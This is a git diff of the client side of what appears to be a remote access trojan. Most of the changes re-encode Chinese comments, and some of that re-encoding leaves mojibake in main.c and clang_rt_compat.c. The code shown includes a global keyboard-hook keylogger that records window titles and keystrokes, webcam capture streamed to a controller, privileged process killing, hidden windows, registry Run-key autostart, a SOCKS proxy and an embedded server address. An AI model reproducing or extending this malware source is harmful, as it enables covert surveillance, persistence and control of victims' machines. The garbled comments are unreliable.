CSystemManager::GetProcessList() { - DebugPrivilege(SE_DEBUG_NAME,TRUE); //ȡȨ + DebugPrivilege(SE_DEBUG_NAME,TRUE); //提取权限 HANDLE hProcess = NULL; HANDLE hSnapshot = NULL; @@ -68,23 +68,23 @@ LPBYTE CSystemManager::GetProcessList() DWORD dwOffset = 0; DWORD dwLength = 0; DWORD cbNeeded = 0; - HMODULE hModules = NULL; //еһģľ + HMODULE hModules = NULL; //进程中第一个模块的句柄 - LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ» + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区 if (szBuffer == NULL) return NULL; - szBuffer[0] = TOKEN_PSLIST; //עͷ + szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头 dwOffset = 1; - if(Process32First(hSnapshot, &pe32)) { //õһ˳жһϵͳǷɹ + if(Process32First(hSnapshot, &pe32)) { //得到第一个进程顺便判断一下系统快照是否成功 do { - //򿪽̲ؾ + //打开进程并返回句柄 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, - FALSE, pe32.th32ProcessID); //Ŀ + FALSE, pe32.th32ProcessID); //打开目标进程 { - //öٵһģҲǵǰ· + //枚举第一个模块句柄也就是当前进程完整路径 EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); - //õ + //得到自身的完整名称 DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules, szProcessFullPath, sizeof(szProcessFullPath)); @@ -97,18 +97,18 @@ LPBYTE CSystemManager::GetProcessList() const char* arch = is64Bit ? "x64" : "x86"; char exeFile[300]; sprintf(exeFile, "%s:%s", pe32.szExeFile, arch); - //ʼռõĻ ǹķ͵ݽṹ - // ˽ռݴС + //开始计算占用的缓冲区, 我们关心他的发送的数据结构 + // 此进程占用数据大小 dwLength = sizeof(DWORD) + lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; - // ̫С· + // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); - //memcpy򻺳 ݽṹ - //ID++0++0 - //Ϊַ0 β + //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 + //进程ID+进程名+0+进程完整名+0 进程 + //因为字符数据是以0 结尾的 memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); @@ -118,17 +118,17 @@ LPBYTE CSystemManager::GetProcessList() memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); dwOffset += lstrlen(szProcessFullPath) + 1; } - } while(Process32Next(hSnapshot, &pe32)); //õһ + } while(Process32Next(hSnapshot, &pe32)); //继续得到下一个快照 } - DebugPrivilege(SE_DEBUG_NAME,FALSE); //ԭȨ - SAFE_CLOSE_HANDLE(hSnapshot); //ͷž + DebugPrivilege(SE_DEBUG_NAME,FALSE); //还原提权 + SAFE_CLOSE_HANDLE(hSnapshot); //释放句柄 return szBuffer; } CSystemManager::~CSystemManager() { - Mprintf("ϵͳ\n"); + Mprintf("系统析构\n"); } BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable) @@ -137,7 +137,7 @@ BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable) HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges; - // Token + //进程 Token 令牌 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { bResult = FALSE; @@ -182,7 +182,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } - case CMD_WINDOW_TEST: { // + case CMD_WINDOW_TEST: { //操作窗口 TestWindow(szBuffer+1); break; } @@ -192,46 +192,46 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } -void CSystemManager::TestWindow(LPBYTE szBuffer) //ڵ С ضﴦ +void CSystemManager::TestWindow(LPBYTE szBuffer) //窗口的最大 最小 隐藏都在这里处理 { DWORD Hwnd; DWORD dHow; - memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //õھ - memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //õڴ + memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //得到窗口句柄 + memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数 ShowWindow((HWND__ *)Hwnd,dHow); - //ھ ɶ( С ԭ) + //窗口句柄 干啥(大 小 隐藏 还原) } VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength) { HANDLE hProcess = NULL; - DebugPrivilege(SE_DEBUG_NAME, TRUE); //Ȩ + DebugPrivilege(SE_DEBUG_NAME, TRUE); //提权 for (int i = 0; i < ulLength; i += 4) - //ΪĿֹܸһ + //因为结束的可能个不止是一个进程 { - //򿪽 + //打开进程 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i)); - // + //结束进程 TerminateProcess(hProcess, 0); SAFE_CLOSE_HANDLE(hProcess); } - DebugPrivilege(SE_DEBUG_NAME, FALSE); //ԭȨ - // Sleep£ֹ + DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权 + // 稍稍Sleep下,防止出错 Sleep(100); } LPBYTE CSystemManager::GetWindowsList() { LPBYTE szBuffer = NULL; //char* p = NULL &p - EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //עắ - //APIкָ - //ϵͳעһ ص + EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //注册函数 + //如果API函数参数当中有函数指针存在 + //就是向系统注册一个 回调函数 szBuffer[0] = TOKEN_WSLIST; return szBuffer; } -BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ ** +BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要数据 ** { DWORD dwLength = 0; DWORD dwOffset = 0; @@ -240,24 +240,24 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ char szTitle[1024]; memset(szTitle, 0, sizeof(szTitle)); - //õϵͳݽĴھĴڱ + //得到系统传递进来的窗口句柄的窗口标题 GetWindowText(hWnd, szTitle, sizeof(szTitle)); - //ж Ƿɼ Ϊ + //这里判断 窗口是否可见 或标题为空 if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0) return true; - //̹ͬһעķ͵ض˵ݽṹ + //同进程管理一样我们注意他的发送到主控端的数据结构 if (szBuffer == NULL) - szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺 + szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区 if (szBuffer == NULL) return FALSE; - //[Ϣ][4Notepad.exe\0] + //[消息][4Notepad.exe\0] dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; dwOffset = LocalSize(szBuffer); //1 - //¼㻺С + //重新计算缓冲区大小 szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); if (szBuffer == NULL) return FALSE; - //memcpyܿݽṹΪ hwnd+ڱ+0 + //下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0 memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); diff --git a/client/SystemManager.h b/client/SystemManager.h index b4907cd..632413f 100644 --- a/client/SystemManager.h +++ b/client/SystemManager.h @@ -1,4 +1,4 @@ -// SystemManager.h: interface for the CSystemManager class. +// SystemManager.h: interface for the CSystemManager class. // ////////////////////////////////////////////////////////////////////// diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 09bbd77..1d4a8c8 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -1,4 +1,4 @@ -// TalkManager.cpp: implementation of the CTalkManager class. +// TalkManager.cpp: implementation of the CTalkManager class. // ////////////////////////////////////////////////////////////////////// @@ -30,12 +30,12 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)&bToken, 1, &mask); WaitForDialogOpen(); - Mprintf("Talk \n"); + Mprintf("Talk 构造\n"); } CTalkManager::~CTalkManager() { - Mprintf("Talk \n"); + Mprintf("Talk 析构\n"); } VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) @@ -48,7 +48,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); - //һDLG + //创建一个DLG DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG), NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ break; @@ -66,9 +66,9 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg, break; } case WM_INITDIALOG: { - // ȡǰʽ + // 获取当前窗口样式 LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE); - // Ƴ WS_EX_APPWINDOW ʽ WS_EX_TOOLWINDOW ʽ + // 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式 exStyle &= ~WS_EX_APPWINDOW; exStyle |= WS_EX_TOOLWINDOW; SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); @@ -112,7 +112,7 @@ VOID CTalkManager::OnInitDialog(HWND hDlg) } -VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱӻص +VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调 { RECT Rect; static int Height=0; @@ -128,8 +128,8 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); } else { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); - BYTE bToken = TOKEN_TALKCMPLT; // ͷļ Common.h - m_ClientObject->Send2Server((char*)&bToken, 1); // ·͵ָ + BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h + m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令 EndDialog(hDlg,0); } break; diff --git a/client/TalkManager.h b/client/TalkManager.h index f844917..2eaefeb 100644 --- a/client/TalkManager.h +++ b/client/TalkManager.h @@ -1,4 +1,4 @@ -// TalkManager.h: interface for the CTalkManager class. +// TalkManager.h: interface for the CTalkManager class. // ////////////////////////////////////////////////////////////////////// diff --git a/client/VideoCodec.h b/client/VideoCodec.h index a9080a8..2b79d7c 100644 --- a/client/VideoCodec.h +++ b/client/VideoCodec.h @@ -1,4 +1,4 @@ -#if !defined(AFX_VIDEOCODEC_H_INCLUDED) +#if !defined(AFX_VIDEOCODEC_H_INCLUDED) #define AFX_VIDEOCODEC_H_INCLUDED #include @@ -37,7 +37,7 @@ public: } ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); - // ֤ + // 向编码器发送验证 ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); m_cv.hic = m_hIC; @@ -117,7 +117,7 @@ public: if (hIC) { ICGetInfo(hIC, &icInfo, sizeof(icInfo)); *fccHandler = icInfo.fccHandler; - //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII + //由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的 if (strName != NULL) wcstombs(strName, icInfo.szDescription, 256); } else nRet = -1; diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index d3be279..64bb994 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -1,4 +1,4 @@ -// VideoManager.cpp: implementation of the CVideoManager class. +// VideoManager.cpp: implementation of the CVideoManager class. // ////////////////////////////////////////////////////////////////////// @@ -19,7 +19,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan m_pVideoCodec = NULL; m_fccHandler = 1129730893; - m_CapVideo.Open(0,0); // + m_CapVideo.Open(0,0); // 开启 lpBuffer = NULL; m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); @@ -31,25 +31,25 @@ DWORD CVideoManager::WorkThread(LPVOID lParam) CVideoManager *This = (CVideoManager *)lParam; static ULONGLONG dwLastScreen = GetTickCount64(); - if (This->Initialize()) { //תInitialize - This->m_bIsCompress=true; //ʼɹÿѹ - Mprintf("ѹƵд.\n"); + if (This->Initialize()) { //转到Initialize + This->m_bIsCompress=true; //如果初始化成功就设置可以压缩 + Mprintf("压缩视频进行传输.\n"); } - This->SendBitMapInfor(); //bmpλͼṹ + This->SendBitMapInfor(); //发送bmp位图结构 - // ȿƶ˶Ի + // 等控制端对话框打开 This->WaitForDialogOpen(); #if USING_ZLIB - const int fps = 8;// ֡ + const int fps = 8;// 帧率 #else - const int fps = 8;// ֡ + const int fps = 8;// 帧率 #endif - const int sleep = 1000 / fps;// ʱ䣨ms + const int sleep = 1000 / fps;// 间隔时间(ms) timeBeginPeriod(1); while (This->m_bIsWorking) { - // ٶ + // 限制速度 int span = sleep-(GetTickCount64() - dwLastScreen); Sleep(span > 0 ? span : 1); if (span < 0) @@ -73,7 +73,7 @@ CVideoManager::~CVideoManager() WaitForSingleObject(m_hWorkThread, INFINITE); SAFE_CLOSE_HANDLE(m_hWorkThread); Mprintf("CVideoManager ~CVideoManager \n"); - if (m_pVideoCodec) { //ѹ + if (m_pVideoCodec) { //压缩类 delete m_pVideoCodec; m_pVideoCodec = NULL; } @@ -85,7 +85,7 @@ void CVideoManager::Destroy() { m_bIsWorking = FALSE; Mprintf("CVideoManager Destroy \n"); - if (m_pVideoCodec) { //ѹ + if (m_pVideoCodec) { //压缩类 delete m_pVideoCodec; m_pVideoCodec = NULL; } @@ -115,14 +115,14 @@ BOOL CVideoManager::SendNextScreen() lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen]; lpBuffer[0] = TOKEN_WEBCAM_DIB; - lpBuffer[1] = m_bIsCompress; //ѹ + lpBuffer[1] = m_bIsCompress; //压缩 - memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //ォƵѹдҪ͵Ļ + memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区 UINT nPacketLen = 0; - if (m_bIsCompress && m_pVideoCodec) { //жϣǷѹѹǷʼɹɹѹ + if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩 int nCompressLen = 0; - //ѹƵ + //这里压缩视频数据了 bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB, m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen, &nCompressLen, NULL); @@ -130,11 +130,11 @@ BOOL CVideoManager::SendNextScreen() // some thing error return FALSE; } - //¼㷢ݰĴС ʣ¾Ƿˣǵض˿һƵѹô - //ض˵void CVideoDlg::OnReceiveComplete(void) + //重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理 + //到主控端的void CVideoDlg::OnReceiveComplete(void) nPacketLen = nCompressLen + nHeadLen; } else { - //ѹ Զ + //不压缩 永远不来 memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize); nPacketLen = dwBmpImageSize+ nHeadLen; } @@ -153,16 +153,16 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength) NotifyDialogIsOpen(); break; } - case COMMAND_WEBCAM_ENABLECOMPRESS: { // Ҫѹ - // ʼѹ + case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩 + // 如果解码器初始化正常,就启动压缩功能 if (m_pVideoCodec) InterlockedExchange((LPLONG)&m_bIsCompress, true); - Mprintf("ѹƵд.\n"); + Mprintf("压缩视频进行传输.\n"); break; } - case COMMAND_WEBCAM_DISABLECOMPRESS: { // ԭʼݴ + case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输 InterlockedExchange((LPLONG)&m_bIsCompress, false); - Mprintf("ѹƵд.\n"); + Mprintf("不压缩视频进行传输.\n"); break; } } @@ -176,16 +176,16 @@ BOOL CVideoManager::Initialize() delete m_pVideoCodec; m_pVideoCodec=NULL; } - if (m_fccHandler==0) { //ѹ + if (m_fccHandler==0) { //不采用压缩 bRet= FALSE; return bRet; } m_pVideoCodec = new CVideoCodec; - //ʼƵѹ עѹ m_fccHandler(캯в鿴) + //这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看) if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) { delete m_pVideoCodec; bRet=FALSE; - // NULL, ʱжǷΪNULLжǷѹ + // 置NULL, 发送时判断是否为NULL来判断是否压缩 m_pVideoCodec = NULL; } return bRet; diff --git a/client/VideoManager.h b/client/VideoManager.h index 1dabae7..03351d6 100644 --- a/client/VideoManager.h +++ b/client/VideoManager.h @@ -1,4 +1,4 @@ -// VideoManager.h: interface for the CVideoManager class. +// VideoManager.h: interface for the CVideoManager class. // ////////////////////////////////////////////////////////////////////// @@ -32,9 +32,9 @@ public: DWORD m_fccHandler; bool m_bIsCompress; - LPBYTE lpBuffer; // ץͼ + LPBYTE lpBuffer; // 抓图缓存区 - CVideoCodec *m_pVideoCodec; //ѹ + CVideoCodec *m_pVideoCodec; //压缩类 void Destroy(); }; diff --git a/client/X264Encoder.cpp b/client/X264Encoder.cpp index 33afa88..267c30c 100644 --- a/client/X264Encoder.cpp +++ b/client/X264Encoder.cpp @@ -1,4 +1,4 @@ -#include "X264Encoder.h" +#include "X264Encoder.h" #include #include @@ -37,7 +37,7 @@ bool CX264Encoder::open(int width, int height, int fps, int bitrate) param.i_threads = 1; param.i_frame_total = 0; param.i_keyint_max = 10; - param.i_bframe = 0; //b֡ + param.i_bframe = 0; //不启用b帧 param.b_open_gop = 0; param.i_fps_num = fps; param.i_csp = X264_CSP_I420; @@ -47,7 +47,7 @@ bool CX264Encoder::open(int width, int height, int fps, int bitrate) param.rc.i_bitrate = bitrate; } - //profile. + //设置profile. if (x264_param_apply_profile(¶m, x264_profile_names[0])) { return false; } diff --git a/client/X264Encoder.h b/client/X264Encoder.h index 44f6fc7..506d69d 100644 --- a/client/X264Encoder.h +++ b/client/X264Encoder.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once extern "C" { #include @@ -8,7 +8,7 @@ extern "C" { class CX264Encoder { private: - x264_t* m_pCodec; //ʵ + x264_t* m_pCodec; //编码器实例 x264_picture_t *m_pPicIn; x264_picture_t *m_pPicOut; x264_param_t m_Param; diff --git a/client/auto_start.h b/client/auto_start.h index b0ce7a5..d347d2a 100644 --- a/client/auto_start.h +++ b/client/auto_start.h @@ -1,14 +1,14 @@ -#pragma once +#pragma once #include -// Ȩ +// 提升权限 inline int DebugPrivilege() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return -1; - // ̬ռ䣬 3 LUID + // 动态分配空间,包含 3 个 LUID TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES)); if (!tp) { SAFE_CLOSE_HANDLE(hToken); @@ -48,13 +48,13 @@ inline int DebugPrivilege() typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); /** -* @brief ñ -* @param[in] *sPath ע· -* @param[in] *sNmae ע -* @return ע -* @details Win7 64λϲԽעڣ\n +* @brief 设置本身开机自启动 +* @param[in] *sPath 注册表的路径 +* @param[in] *sNmae 注册表项名称 +* @return 返回注册结果 +* @details Win7 64位机器上测试结果表明,注册项在:\n * HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run -* @note ״ҪԹԱȨУעд뿪 +* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 */ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Log) { @@ -62,37 +62,37 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo int n = DebugPrivilege(); if (n != 0) { - _Mprintf("Ȩʧܣ룺%d\n", n); + _Mprintf("提升权限失败,错误码:%d\n", n); return FALSE; } - // дע· + // 写入的注册表路径 #define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run" - // עдϢ + // 在注册表中写入启动信息 HKEY hKey = NULL; LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); - // жǷɹ + // 判断是否成功 if (lRet != ERROR_SUCCESS) { - _Mprintf("עʧܣ룺%d\n", lRet); + _Mprintf("打开注册表失败,错误码:%d\n", lRet); return FALSE; } lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); if (lRet != ERROR_SUCCESS) { - _Mprintf("дעʧܣ룺%d\n", lRet); + _Mprintf("写入注册表失败,错误码:%d\n", lRet); } else { - _Mprintf("дעɹ%s -> %s\n", sNmae, sPath); + _Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath); } - // رע + // 关闭注册表 RegCloseKey(hKey); #undef _Mprintf - // жǷɹ + // 判断是否成功 return lRet == ERROR_SUCCESS; } diff --git a/client/clang_rt_compat.c b/client/clang_rt_compat.c index 76a9350..e5b7837 100644 --- a/client/clang_rt_compat.c +++ b/client/clang_rt_compat.c @@ -1,5 +1,5 @@ -// clang_rt_compat.c -// 兼容 32 位 Clang 编译的 libx264 运行时函数 +// clang_rt_compat.c +// 鍏煎 32 浣?Clang 缂栬瘧鐨?libx264 杩愯鏃跺嚱鏁? #ifdef _M_IX86 diff --git a/client/clip.h b/client/clip.h index 275dcb2..7d9d2d9 100644 --- a/client/clip.h +++ b/client/clip.h @@ -1,4 +1,4 @@ -// Clip Library +// Clip Library // Copyright (c) 2015-2024 David Capello // // This file is released under the terms of the MIT license. diff --git a/client/d3d/d3d.h b/client/d3d/d3d.h index fb7d455..d4effa9 100644 --- a/client/d3d/d3d.h +++ b/client/d3d/d3d.h @@ -1,4 +1,4 @@ -/*==========================================================================; +/*==========================================================================; * * Copyright (C) Microsoft Corporation. All Rights Reserved. * diff --git a/client/d3d/d3dcaps.h b/client/d3d/d3dcaps.h index 05333ee..92ae032 100644 --- a/client/d3d/d3dcaps.h +++ b/client/d3d/d3dcaps.h @@ -1,4 +1,4 @@ -/*==========================================================================; +/*==========================================================================; * * Copyright (C) Microsoft Corporation. All Rights Reserved. * diff --git a/client/d3d/d3drm.h b/client/d3d/d3drm.h index 84ba5b2..b749cf2 100644 --- a/client/d3d/d3drm.h +++ b/client/d3d/d3drm.h @@ -1,4 +1,4 @@ -/* $Revision: 1.2 $ */ +/* $Revision: 1.2 $ */ #ifndef _LCC__D3DRM_H__ #define _LCC__D3DRM_H__ #include "ddraw.h" diff --git a/client/d3d/d3drmdef.h b/client/d3d/d3drmdef.h index 112cab0..c0372f0 100644 --- a/client/d3d/d3drmdef.h +++ b/client/d3d/d3drmdef.h @@ -1,4 +1,4 @@ -/* $Revision: 1.2 $ */ +/* $Revision: 1.2 $ */ #ifndef __D3DRMDEFS_H__ #define __D3DRMDEFS_H__ #include diff --git a/client/d3d/d3drmobj.h b/client/d3d/d3drmobj.h index b7ba611..8c2354d 100644 --- a/client/d3d/d3drmobj.h +++ b/client/d3d/d3drmobj.h @@ -1,4 +1,4 @@ -/* $Revision: 1.2 $ */ +/* $Revision: 1.2 $ */ #ifndef _LCC_D3DRMOBJ_H_ #define _LCC_D3DRMOBJ_H_ #include diff --git a/client/d3d/d3dtypes.h b/client/d3d/d3dtypes.h index 4057191..fdf9fe3 100644 --- a/client/d3d/d3dtypes.h +++ b/client/d3d/d3dtypes.h @@ -1,4 +1,4 @@ -/*==========================================================================; +/*==========================================================================; * * Copyright (C) Microsoft Corporation. All Rights Reserved. * diff --git a/client/d3d/winapifamily.h b/client/d3d/winapifamily.h index 2c8a10a..52c94c6 100644 --- a/client/d3d/winapifamily.h +++ b/client/d3d/winapifamily.h @@ -1,4 +1,4 @@ -/* +/* Copyright (c) Microsoft Corporation. All rights reserved. diff --git a/client/d3d/winpackagefamily.h b/client/d3d/winpackagefamily.h index db7613a..039e0ae 100644 --- a/client/d3d/winpackagefamily.h +++ b/client/d3d/winpackagefamily.h @@ -1,4 +1,4 @@ -/* +/* Copyright (c) Microsoft Corporation. All rights reserved. diff --git a/client/domain_pool.h b/client/domain_pool.h index a1b1a74..a260d59 100644 --- a/client/domain_pool.h +++ b/client/domain_pool.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include #include @@ -8,7 +8,7 @@ std::string GetIPAddress(const char* hostName); class DomainPool { private: - char Address[100]; // ˳ȺCONNECT_ADDRESSƥ + char Address[100]; // 此长度和CONNECT_ADDRESS定义匹配 std::vector IPList; public: DomainPool() diff --git a/client/dxtrans.h b/client/dxtrans.h index 4b32dc5..003ef3d 100644 --- a/client/dxtrans.h +++ b/client/dxtrans.h @@ -1,4 +1,4 @@ - + #pragma warning( disable: 4049 ) /* more than 64k source lines */ /* this ALWAYS GENERATED file contains the definitions for the interfaces */ diff --git a/client/keylogger.cpp b/client/keylogger.cpp index 1b64a72..c559686 100644 --- a/client/keylogger.cpp +++ b/client/keylogger.cpp @@ -1,4 +1,4 @@ -#include "keylogger.h" +#include "keylogger.h" #include #include #include @@ -107,7 +107,7 @@ int Save(int key_stroke) sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond); - output << "\r\n\r\n[:] " << window_title << "\r\n[ʱ:]" << tm << "\r\n[:]"; + output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]"; } } diff --git a/client/keylogger.h b/client/keylogger.h index e6f0d59..9f9947a 100644 --- a/client/keylogger.h +++ b/client/keylogger.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once #include -// Ƿʹȫּ̹ +// 是否使用全局键盘钩子 #define USING_KB_HOOK 1 #define GET_PROCESS_EASY(p) diff --git a/client/main.c b/client/main.c index 812771a..931fc28 100644 --- a/client/main.c +++ b/client/main.c @@ -1,4 +1,4 @@ -#define _WINSOCK_DEPRECATED_NO_WARNINGS +#define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include #include @@ -28,24 +28,24 @@ typedef struct PkgHeader { } PkgHeader; struct CONNECT_ADDRESS { - char szFlag[32]; // 标识 - char szServerIP[100]; // 主控IP - char szPort[8]; // 主控端口 - int iType; // 客户端类型 - bool bEncrypt; // 上线信息是否加密 - char szBuildDate[12]; // 构建日期(版本) - int iMultiOpen; // 支持打开多个 - int iStartup; // 启动方式 - int iHeaderEnc; // 数据加密类型 - char protoType; // 协议类型 - char runningType; // 运行方式 - char szGroupName[24]; // 分组名称 - char runasAdmin; // 是否提升权限运行 - char szReserved[11]; // 占位,使结构体占据300字节 - uint64_t clientID; // 客户端唯一标识 - uint64_t parentHwnd; // 父进程窗口句柄 - uint64_t superAdmin; // 管理员主控ID - char pwdHash[64]; // 密码哈希 + char szFlag[32]; // 鏍囪瘑 + char szServerIP[100]; // 涓绘帶IP + char szPort[8]; // 涓绘帶绔彛 + int iType; // 瀹㈡埛绔被鍨? + bool bEncrypt; // 涓婄嚎淇℃伅鏄惁鍔犲瘑 + char szBuildDate[12]; // 鏋勫缓鏃ユ湡(鐗堟湰) + int iMultiOpen; // 鏀寔鎵撳紑澶氫釜 + int iStartup; // 鍚姩鏂瑰紡 + int iHeaderEnc; // 鏁版嵁鍔犲瘑绫诲瀷 + char protoType; // 鍗忚绫诲瀷 + char runningType; // 杩愯鏂瑰紡 + char szGroupName[24]; // 鍒嗙粍鍚嶇О + char runasAdmin; // 鏄惁鎻愬崌鏉冮檺杩愯 + char szReserved[11]; // 鍗犱綅锛屼娇缁撴瀯浣撳崰鎹?00瀛楄妭 + uint64_t clientID; // 瀹㈡埛绔敮涓€鏍囪瘑 + uint64_t parentHwnd; // 鐖惰繘绋嬬獥鍙e彞鏌? + uint64_t superAdmin; // 绠$悊鍛樹富鎺D + char pwdHash[64]; // 瀵嗙爜鍝堝笇 } g_Server = { "Hello, World!", "127.0.0.1", "6543", 0, 0, __DATE__ }; #pragma pack(pop) @@ -205,7 +205,7 @@ const char* CalcMD5FromBytes(const BYTE* data, DWORD length) return NULL; } - // 转换为十六进制字符串 + // 杞崲涓哄崄鍏繘鍒跺瓧绗︿覆 for (DWORD i = 0; i < hashLen; ++i) { sprintf(&md5String[i * 2], "%02x", hash[i]); } diff --git a/client/proxy/ProxyManager.cpp b/client/proxy/ProxyManager.cpp index 90b860d..6c149dc 100644 --- a/client/proxy/ProxyManager.cpp +++ b/client/proxy/ProxyManager.cpp @@ -1,4 +1,4 @@ -// ShellManager.cpp: implementation of the CShellManager class. +// ShellManager.cpp: implementation of the CShellManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" @@ -134,7 +134,7 @@ DWORD CProxyManager::SocksThread(LPVOID lparam) return 0; } ip = *(DWORD*)&lpBuffer[5]; - // sockaddr_inṹ + // 构造sockaddr_in结构 sockaddr_in ClientAddr; ClientAddr.sin_family = AF_INET; ClientAddr.sin_port = *(u_short*)&lpBuffer[9]; @@ -220,7 +220,7 @@ DWORD 